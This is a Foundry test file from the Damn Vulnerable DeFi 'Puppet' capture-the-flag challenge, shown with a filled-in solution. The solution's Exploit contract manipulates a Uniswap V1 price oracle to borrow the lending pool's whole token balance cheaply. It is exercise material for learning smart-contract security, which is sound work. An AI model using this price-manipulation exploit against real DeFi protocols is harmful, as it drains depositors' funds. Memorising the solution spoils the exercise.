-
Notifications
You must be signed in to change notification settings - Fork 115
/
Puppet.t.sol
154 lines (127 loc) · 5.92 KB
/
Puppet.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetPool} from "../../src/puppet/PuppetPool.sol";
import {IUniswapV1Exchange} from "../../src/puppet/IUniswapV1Exchange.sol";
import {IUniswapV1Factory} from "../../src/puppet/IUniswapV1Factory.sol";
contract PuppetChallenge is Test {
address deployer = makeAddr("deployer");
address recovery = makeAddr("recovery");
address player;
uint256 playerPrivateKey;
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
IUniswapV1Factory uniswapV1Factory;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
(player, playerPrivateKey) = makeAddrAndKey("player");
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy a exchange that will be used as the factory template
IUniswapV1Exchange uniswapV1ExchangeTemplate =
IUniswapV1Exchange(deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV1Exchange.json")));
// Deploy factory, initializing it with the address of the template exchange
uniswapV1Factory = IUniswapV1Factory(deployCode("builds/uniswap/UniswapV1Factory.json"));
uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));
// Deploy token to be traded in Uniswap V1
token = new DamnValuableToken();
// Create a new exchange for the token
uniswapV1Exchange = IUniswapV1Exchange(uniswapV1Factory.createExchange(address(token)));
// Deploy the lending pool
lendingPool = new PuppetPool(address(token), address(uniswapV1Exchange));
// Add initial token and ETH liquidity to the pool
token.approve(address(uniswapV1Exchange), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV1Exchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
block.timestamp * 2 // deadline
);
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(uniswapV1Exchange.factoryAddress(), address(uniswapV1Factory));
assertEq(uniswapV1Exchange.tokenAddress(), address(token));
assertEq(
uniswapV1Exchange.getTokenToEthInputPrice(1e18),
_calculateTokenToEthInputPrice(1e18, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE)
);
assertEq(lendingPool.calculateDepositRequired(1e18), 2e18);
assertEq(lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppet() public checkSolvedByPlayer {
Exploit Attack=new Exploit{value: 25 ether}(token,lendingPool,uniswapV1Exchange,recovery);
token.transfer(address(Attack), 1000 * 1e18);
Attack.attack();
}
// Utility function to calculate Uniswap prices
function _calculateTokenToEthInputPrice(uint256 tokensSold, uint256 tokensInReserve, uint256 etherInReserve)
private
pure
returns (uint256)
{
return (tokensSold * 997 * etherInReserve) / (tokensInReserve * 1000 + tokensSold * 997);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// All tokens of the lending pool were deposited into the recovery account
assertEq(token.balanceOf(address(lendingPool)), 0, "Pool still has tokens");
assertGe(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}
contract Exploit is Test{
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
IUniswapV1Factory uniswapV1Factory;
address public recovery;
constructor(DamnValuableToken _token,PuppetPool _lendingpool,IUniswapV1Exchange _uniswapV1Exchange,address _recovery)payable {
token=_token;
lendingPool=_lendingpool;
uniswapV1Exchange=_uniswapV1Exchange;
recovery=_recovery;
}
function attack()payable public{
token.approve(address(lendingPool), type(uint256).max);
token.approve(address(uniswapV1Exchange), type(uint256).max);
uint256 tokenBalance=token.balanceOf(address(this));
uniswapV1Exchange.tokenToEthTransferInput(tokenBalance, 1, block.timestamp, address(this));
uint256 ethamount=lendingPool.calculateDepositRequired(token.balanceOf(address(lendingPool)));
lendingPool.borrow{value: 25 ether}(100000 *1e18, address(this));
token.transfer(address(recovery), token.balanceOf(address(this)));
}
receive() external payable{}
}